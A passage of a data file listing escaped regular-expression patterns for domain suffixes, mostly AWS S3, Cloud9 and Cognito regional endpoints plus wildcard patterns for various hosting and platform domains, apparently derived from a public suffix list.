s3\\\\-accesspoint\\\\.dualstack\\\\.eu\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.eu\\\\-south\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.eu\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.eu\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.eu\\\\-west\\\\-3\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.il\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.me\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.me\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.sa\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.us\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.us\\\\-east\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.us\\\\-gov\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.us\\\\-gov\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.us\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.us\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-deprecated\\\\.cn\\\\-north\\\\-1\\\\.amazonaws\\\\.com\\\\.cn\",\"s3\\\\-fips\\\\.dualstack\\\\.ca\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-fips\\\\.dualstack\\\\.ca\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-fips\\\\.dualstack\\\\.us\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-fips\\\\.dualstack\\\\.us\\\\-east\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-fips\\\\.dualstack\\\\.us\\\\-gov\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-fips\\\\.dualstack\\\\.us\\\\-gov\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-fips\\\\.dualstack\\\\.us\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-fips\\\\.dualstack\\\\.us\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.cn\\\\-north\\\\-1\\\\.amazonaws\\\\.com\\\\.cn\",\"s3\\\\-object\\\\-lambda\\\\.cn\\\\-northwest\\\\-1\\\\.amazonaws\\\\.com\\\\.cn\",\"s3\\\\-website\\\\.cn\\\\-north\\\\-1\\\\.amazonaws\\\\.com\\\\.cn\",\"s3\\\\-website\\\\.cn\\\\-northwest\\\\-1\\\\.amazonaws\\\\.com\\\\.cn\",\"s3\\\\-website\\\\.dualstack\\\\.af\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.dualstack\\\\.ap\\\\-northeast\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.dualstack\\\\.ap\\\\-northeast\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.dualstack\\\\.ap\\\\-northeast\\\\-3\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.dualstack\\\\.ap\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.dualstack\\\\.ap\\\\-south\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.dualstack\\\\.ap\\\\-southeast\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.dualstack\\\\.ap\\\\-southeast\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.dualstack\\\\.ap\\\\-southeast\\\\-3\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.dualstack\\\\.ap\\\\-southeast\\\\-4\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.dualstack\\\\.ap\\\\-southeast\\\\-5\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.dualstack\\\\.ca\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.dualstack\\\\.ca\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.dualstack\\\\.eu\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.dualstack\\\\.eu\\\\-central\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.dualstack\\\\.eu\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.dualstack\\\\.eu\\\\-south\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.dualstack\\\\.eu\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.dualstack\\\\.eu\\\\-west\\\\-3\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.dualstack\\\\.il\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.dualstack\\\\.me\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.dualstack\\\\.sa\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.dualstack\\\\.us\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.dualstack\\\\.us\\\\-east\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.dualstack\\\\.us\\\\-gov\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.dualstack\\\\.us\\\\-gov\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.dualstack\\\\.us\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.dualstack\\\\.us\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\.cn\\\\-north\\\\-1\\\\.amazonaws\\\\.com\\\\.cn\",\"s3\\\\.cn\\\\-northwest\\\\-1\\\\.amazonaws\\\\.com\\\\.cn\",\"s3\\\\.dualstack\\\\.af\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.ap\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.ap\\\\-northeast\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.ap\\\\-northeast\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.ap\\\\-northeast\\\\-3\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.ap\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.ap\\\\-south\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.ap\\\\-southeast\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.ap\\\\-southeast\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.ap\\\\-southeast\\\\-3\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.ap\\\\-southeast\\\\-4\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.ap\\\\-southeast\\\\-5\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.ca\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.ca\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.eu\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.eu\\\\-central\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.eu\\\\-north\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.eu\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.eu\\\\-south\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.eu\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.eu\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.eu\\\\-west\\\\-3\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.il\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.me\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.me\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.sa\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.us\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.us\\\\-east\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.us\\\\-gov\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.us\\\\-gov\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.us\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.dualstack\\\\.us\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"studio\\\\.cn\\\\-north\\\\-1\\\\.sagemaker\\\\.com\\\\.cn\",\"studio\\\\.cn\\\\-northwest\\\\-1\\\\.sagemaker\\\\.com\\\\.cn\",\"vfs\\\\.cloud9\\\\.af\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"vfs\\\\.cloud9\\\\.ap\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"vfs\\\\.cloud9\\\\.ap\\\\-northeast\\\\-1\\\\.amazonaws\\\\.com\",\"vfs\\\\.cloud9\\\\.ap\\\\-northeast\\\\-2\\\\.amazonaws\\\\.com\",\"vfs\\\\.cloud9\\\\.ap\\\\-northeast\\\\-3\\\\.amazonaws\\\\.com\",\"vfs\\\\.cloud9\\\\.ap\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"vfs\\\\.cloud9\\\\.ap\\\\-southeast\\\\-1\\\\.amazonaws\\\\.com\",\"vfs\\\\.cloud9\\\\.ap\\\\-southeast\\\\-2\\\\.amazonaws\\\\.com\",\"vfs\\\\.cloud9\\\\.ca\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"vfs\\\\.cloud9\\\\.eu\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"vfs\\\\.cloud9\\\\.eu\\\\-north\\\\-1\\\\.amazonaws\\\\.com\",\"vfs\\\\.cloud9\\\\.eu\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"vfs\\\\.cloud9\\\\.eu\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"vfs\\\\.cloud9\\\\.eu\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"vfs\\\\.cloud9\\\\.eu\\\\-west\\\\-3\\\\.amazonaws\\\\.com\",\"vfs\\\\.cloud9\\\\.il\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"vfs\\\\.cloud9\\\\.me\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"vfs\\\\.cloud9\\\\.sa\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"vfs\\\\.cloud9\\\\.us\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"vfs\\\\.cloud9\\\\.us\\\\-east\\\\-2\\\\.amazonaws\\\\.com\",\"vfs\\\\.cloud9\\\\.us\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"vfs\\\\.cloud9\\\\.us\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.aws\\\\-cloud9\\\\.af\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.aws\\\\-cloud9\\\\.ap\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.aws\\\\-cloud9\\\\.ap\\\\-northeast\\\\-1\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.aws\\\\-cloud9\\\\.ap\\\\-northeast\\\\-2\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.aws\\\\-cloud9\\\\.ap\\\\-northeast\\\\-3\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.aws\\\\-cloud9\\\\.ap\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.aws\\\\-cloud9\\\\.ap\\\\-southeast\\\\-1\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.aws\\\\-cloud9\\\\.ap\\\\-southeast\\\\-2\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.aws\\\\-cloud9\\\\.ca\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.aws\\\\-cloud9\\\\.eu\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.aws\\\\-cloud9\\\\.eu\\\\-north\\\\-1\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.aws\\\\-cloud9\\\\.eu\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.aws\\\\-cloud9\\\\.eu\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.aws\\\\-cloud9\\\\.eu\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.aws\\\\-cloud9\\\\.eu\\\\-west\\\\-3\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.aws\\\\-cloud9\\\\.il\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.aws\\\\-cloud9\\\\.me\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.aws\\\\-cloud9\\\\.sa\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.aws\\\\-cloud9\\\\.us\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.aws\\\\-cloud9\\\\.us\\\\-east\\\\-2\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.aws\\\\-cloud9\\\\.us\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.aws\\\\-cloud9\\\\.us\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.cloud9\\\\.af\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.cloud9\\\\.ap\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.cloud9\\\\.ap\\\\-northeast\\\\-1\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.cloud9\\\\.ap\\\\-northeast\\\\-2\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.cloud9\\\\.ap\\\\-northeast\\\\-3\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.cloud9\\\\.ap\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.cloud9\\\\.ap\\\\-southeast\\\\-1\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.cloud9\\\\.ap\\\\-southeast\\\\-2\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.cloud9\\\\.ca\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.cloud9\\\\.eu\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.cloud9\\\\.eu\\\\-north\\\\-1\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.cloud9\\\\.eu\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.cloud9\\\\.eu\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.cloud9\\\\.eu\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.cloud9\\\\.eu\\\\-west\\\\-3\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.cloud9\\\\.me\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.cloud9\\\\.sa\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.cloud9\\\\.us\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.cloud9\\\\.us\\\\-east\\\\-2\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.cloud9\\\\.us\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"webview\\\\-assets\\\\.cloud9\\\\.us\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.aa\\\\.crm\\\\.dev\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ab\\\\.crm\\\\.dev\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ac\\\\.crm\\\\.dev\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ad\\\\.crm\\\\.dev\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ae\\\\.crm\\\\.dev\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.af\\\\.crm\\\\.dev\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.at\\\\.playit\\\\.plus\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.at\\\\.ply\\\\.gg\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.builder\\\\.code\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.c\\\\.ts\\\\.net\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ci\\\\.crm\\\\.dev\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.cloud\\\\.int\\\\.apple\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.cloud\\\\.metacentrum\\\\.cz\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.clusters\\\\.rdpa\\\\.co\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.compute\\\\-1\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.compute\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.d\\\\.crm\\\\.dev\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.dev\\\\-builder\\\\.code\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.dev\\\\.adobeaemcloud\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.elb\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ex\\\\.futurecms\\\\.at\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ex\\\\.ortsinfo\\\\.at\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.experiments\\\\.sagemaker\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.hosting\\\\.myjino\\\\.ru\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.hosting\\\\.ovh\\\\.net\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.in\\\\.futurecms\\\\.at\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.kunden\\\\.ortsinfo\\\\.at\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.landing\\\\.myjino\\\\.ru\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.mtls\\\\.run\\\\.app\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.nodebalancer\\\\.linode\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.oci\\\\.customer\\\\-oci\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ocp\\\\.customer\\\\-oci\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ocs\\\\.customer\\\\-oci\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.p\\\\.azurewebsites\\\\.net\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.pa\\\\.crm\\\\.dev\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.pb\\\\.crm\\\\.dev\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.pc\\\\.crm\\\\.dev\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.pd\\\\.crm\\\\.dev\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.pe\\\\.crm\\\\.dev\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.pf\\\\.crm\\\\.dev\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.private\\\\.repost\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.privatelink\\\\.snowflake\\\\.app\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.r\\\\.appspot\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.raw\\\\.icp0\\\\.io\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.raw\\\\.icp1\\\\.io\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.s\\\\.brave\\\\.app\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.s\\\\.brave\\\\.dev\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.s\\\\.brave\\\\.io\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.services\\\\.clever\\\\-cloud\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.spectrum\\\\.myjino\\\\.ru\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.srvrless\\\\.rdpa\\\\.co\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.stg\\\\-builder\\\\.code\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.svc\\\\.firenet\\\\.ch\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.sys\\\\.qcx\\\\.io\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.user\\\\.localcert\\\\.dev\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.vps\\\\.myjino\\\\.ru\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.w\\\\.crm\\\\.dev\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.wa\\\\.crm\\\\.dev\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.wb\\\\.crm\\\\.dev\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.wc\\\\.crm\\\\.dev\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.wd\\\\.crm\\\\.dev\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.we\\\\.crm\\\\.dev\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.webpaas\\\\.ovh\\\\.net\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.wf\\\\.crm\\\\.dev\",\"a\\\\.prod\\\\.fastly\\\\.net\",\"a\\\\.ssl\\\\.fastly\\\\.net\",\"alp1\\\\.ae\\\\.flow\\\\.ch\",\"analytics\\\\-gateway\\\\.ap\\\\-northeast\\\\-1\\\\.amazonaws\\\\.com\",\"analytics\\\\-gateway\\\\.ap\\\\-northeast\\\\-2\\\\.amazonaws\\\\.com\",\"analytics\\\\-gateway\\\\.ap\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"analytics\\\\-gateway\\\\.ap\\\\-southeast\\\\-1\\\\.amazonaws\\\\.com\",\"analytics\\\\-gateway\\\\.ap\\\\-southeast\\\\-2\\\\.amazonaws\\\\.com\",\"analytics\\\\-gateway\\\\.eu\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"analytics\\\\-gateway\\\\.eu\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"analytics\\\\-gateway\\\\.us\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"analytics\\\\-gateway\\\\.us\\\\-east\\\\-2\\\\.amazonaws\\\\.com\",\"analytics\\\\-gateway\\\\.us\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"app\\\\.os\\\\.fedoraproject\\\\.org\",\"atl\\\\.jelastic\\\\.vps\\\\-host\\\\.net\",\"auth\\\\-fips\\\\.us\\\\-east\\\\-1\\\\.amazoncognito\\\\.com\",\"auth\\\\-fips\\\\.us\\\\-east\\\\-2\\\\.amazoncognito\\\\.com\",\"auth\\\\-fips\\\\.us\\\\-gov\\\\-east\\\\-1\\\\.amazoncognito\\\\.com\",\"auth\\\\-fips\\\\.us\\\\-gov\\\\-west\\\\-1\\\\.amazoncognito\\\\.com\",\"auth\\\\-fips\\\\.us\\\\-west\\\\-1\\\\.amazoncognito\\\\.com\",\"auth\\\\-fips\\\\.us\\\\-west\\\\-2\\\\.amazoncognito\\\\.com\",\"auth\\\\.af\\\\-south\\\\-1\\\\.amazoncognito\\\\.com\",\"auth\\\\.ap\\\\-east\\\\-1\\\\.amazoncognito\\\\.com\",\"auth\\\\.ap\\\\-northeast\\\\-1\\\\.amazoncognito\\\\.com\",\"auth\\\\.ap\\\\-northeast\\\\-2\\\\.amazoncognito\\\\.com\",\"auth\\\\.ap\\\\-northeast\\\\-3\\\\.amazoncognito\\\\.com\",\"auth\\\\.ap\\\\-south\\\\-1\\\\.amazoncognito\\\\.com\",\"auth\\\\.ap\\\\-south\\\\-2\\\\.amazoncognito\\\\.com\",\"auth\\\\.ap\\\\-southeast\\\\-1\\\\.amazoncognito\\\\.com\",\"auth\\\\.ap\\\\-southeast\\\\-2\\\\.amazoncognito\\\\.com\",\"auth\\\\.ap\\\\-southeast\\\\-3\\\\.amazoncognito\\\\.com\",\"auth\\\\.ap\\\\-southeast\\\\-4\\\\.amazoncognito\\\\.com\",\"auth\\\\.ap\\\\-southeast\\\\-5\\\\.amazoncognito\\\\.com\",\"auth\\\\.ap\\\\-southeast\\\\-7\\\\.amazoncognito\\\\.com\",\"auth\\\\.ca\\\\-central\\\\-1\\\\.amazoncognito\\\\.com\",\"auth\\\\.ca\\\\-west\\\\-1\\\\.amazoncognito\\\\.com\",\"auth\\\\.eu\\\\-central\\\\-1\\\\.amazoncognito\\\\.com\",\"auth\\\\.eu\\\\-central\\\\-2\\\\.amazoncognito\\\\.com\",\"auth\\\\.eu\\\\-north\\\\-1\\\\.amazoncognito\\\\.com\",\"auth\\\\.eu\\\\-south\\\\-1\\\\.amazoncognito\\\\.com\",\"auth\\\\.eu\\\\-south\\\\-2\\\\.amazoncognito\\\\.com\",\"auth\\\\.eu\\\\-west\\\\-1\\\\.amazoncognito\\\\.com\",\"auth\\\\.eu\\\\-west\\\\-2\\\\.amazoncognito\\\\.com\",\"auth\\\\.eu\\\\-west\\\\-3\\\\.amazoncognito\\\\.com\",\"auth\\\\.il\\\\-central\\\\-1\\\\.amazoncognito\\\\.com\",\"auth\\\\.me\\\\-central\\\\-1\\\\.amazoncognito\\\\.com\",\"auth\\\\.me\\\\-south\\\\-1\\\\.amazoncognito\\\\.com\",\"auth\\\\.mx\\\\-central\\\\-1\\\\.amazoncognito\\\\.com\",\"auth\\\\.sa\\\\-east\\\\-1\\\\.amazoncognito\\\\.com\",\"auth\\\\.us\\\\-east\\\\-1\\\\.amazoncognito\\\\.com\",\"auth\\\\.us\\\\-east\\\\-2\\\\.amazoncognito\\\\.com\",\"auth\\\\.us\\\\-west\\\\-1\\\\.amazoncognito\\\\.com\",\"auth\\\\.us\\\\-west\\\\-2\\\\.amazoncognito\\\\.com\",\"b\\\\.ssl\\\\.fastly\\\\.net\",\"blob\\\\.core\\\\.usgovcloudapi\\\\.net\",\"blob\\\\.core\\\\.windows\\\\.net\",\"cdn\\\\.prod\\\\.atlassian\\\